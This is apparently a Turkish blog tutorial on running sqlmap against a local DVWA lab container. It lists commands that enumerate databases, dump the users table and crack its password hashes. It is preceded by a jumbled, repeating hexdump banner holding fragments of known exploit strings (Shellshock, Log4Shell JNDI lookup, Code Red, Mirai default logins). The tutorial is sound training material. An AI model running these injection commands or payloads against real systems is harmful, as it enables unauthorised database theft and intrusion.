Kali'de SQLmap ile SQL Injection: Login Formundan Veritabanına

00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap|

Sqlmap aracı SQL injection testlerini otomatikleştiren açık kaynak kodlu bir araç. Manuel yapılan şeyleri birkaç komutla halledebiliyor.

SQL injection: basit olarak bir web uygulaması kullanıcıdan aldığı girdiyi filtrelemeden direkt veritabanına gönderiyorsa oraya SQL kodu yazabilirsin. Giriş formu arama kutusu URL parametresi vs. olabilir. Uygulama o kodu çalıştırır veritabanındaki veriler ortaya çıkar.

Docker ve SQLmap Kurulumu

Gerçek bir sisteme değil kendi kurduğun zafiyetli uygulamaya test yapmak gerekir. Bunun için DVWA (Damn Vulnerable Web Application) kullanacağız. Docker ile çalışıyor.

Kurulum:

sudo apt update && sudo apt install -y docker.io
sudo service docker start

Sqlmap:

sudo apt install -y sqlmap

Kali Linux’ta sqlmap zaten kurulu geliyor ama güncel versiyona çekmek için yine çalıştırmakta fayda var.

DVWA’yı Başlat

docker run --rm -d -p 80:80 vulnerables/web-dvwa

Bir komutla container ayağa kalkıyor.

Tarayıcıdan http://localhost/login.php adresini aç.

Giriş bilgilerini admin ve password olarak girelim.

DVWA login ekranında admin ve password ile giriş

Setup sayfasında Create - Reset Database butonuna bas.

DVWA setup sayfasında veritabanı oluşturma

Sonra tekrar giriş yap. DVWA Security menüsünden güvenlik seviyesini Low yap.

DVWA Security menüsünde güvenlik seviyesi Low

Sonra sol menüden SQL injection sayfasına geç.

DVWA SQL Injection sayfası

sqlmapin uygulamaya giriş yapmış gibi davranabilmesi için session cookie’ye ihtiyaç var.

F12 - Uygulama - Çerezler ve localhost yolundan PHPSESSID değerini alalım.

Tarayıcı geliştirici araçlarında PHPSESSID çerez değeri

Veritabanlarını Listele

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=XXX; security=low" \
  --dbs --batch

sqlmap –dbs ile veritabanlarının listelenmesi

–dbs mevcut veritabanlarını listeler.

Uygulama açıksa dvwa ve information_schema döner.

–batch ekleyince sqlmap test boyunca soru sormadan ilerler.

Tabloları görmek için:

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=XXX; security=low" \
  -D dvwa --tables --batch

sqlmap –tables ile dvwa veritabanındaki tablolar

dvwa veritabanında guestbook ve users tabloları çıkar.

İçeriği dökmek için:

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=...; security=low" \
  -D dvwa -T users --dump --batch

sqlmap –dump ile users tablosundaki kullanıcı adları ve hashler

Kullanıcı adları ve MD5 hashler dökülür. sqlmap hashleri otomatik olarak sözlük saldırısıyla çözmeyi deniyor. admin/password gibi sonuçlar geliyor. Yaygın bir şifre kullanıyorsa direkt bulur.

Sadece izinli olduğun veya kendi kurduğun sistemlerde kullanmalısın. DVWA bunun için var zaten.

Kaynaklar:

https://github.com/sqlmapproject/sqlmap
https://github.com/digininja/DVWA